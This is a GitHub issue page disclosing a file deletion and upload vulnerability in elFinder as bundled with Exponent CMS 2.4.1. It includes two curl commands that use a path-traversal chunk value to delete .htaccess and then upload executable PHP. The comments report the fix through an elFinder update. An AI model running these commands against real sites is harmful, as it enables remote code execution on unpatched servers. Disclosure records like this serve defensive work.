search

exponentcms / exponent-cms

Content Management, Simple.
exponentcms.org
GNU General Public License v2.0
60 stars 24 forks source link

Exponent CMS 2.4.1 - Unrestricted File Deletion / Upload Vulnerability in elFinder #1447

Closed exponentcms closed 4 years ago

exponentcms commented 4 years ago

Allows deleting arbitrary files and thus bypassing .htaccess restrictions on uploadable executable PHP files due to a flaw in external/elFinder/php/elFinder.class.php

Example: curl "[exponent]/framework/modules/file/connector/elfinder.php" -F "cmd=upload" -F "target=l1_" -F "upload[]=" -F chunk="../[exponent]/files/.htaccess"

curl "[exponent]/framework/modules/file/connector/elfinder.php" -F "cmd=upload" -F "target=l1_" -F "upload[]=@[remote code]"

exponentcms commented 4 years ago

Issue has been addressed in 333rd party library and will be applied to exponent as soon as feasible https://github.com/Studio-42/elFinder/issues/1843

exponentcms commented 4 years ago

Fixed by recent push to update elFinder to v2.1.20

exponentcms commented 4 years ago

Lighthouse URL: https://exponentcms.lighthouseapp.com/projects/61783/tickets/1404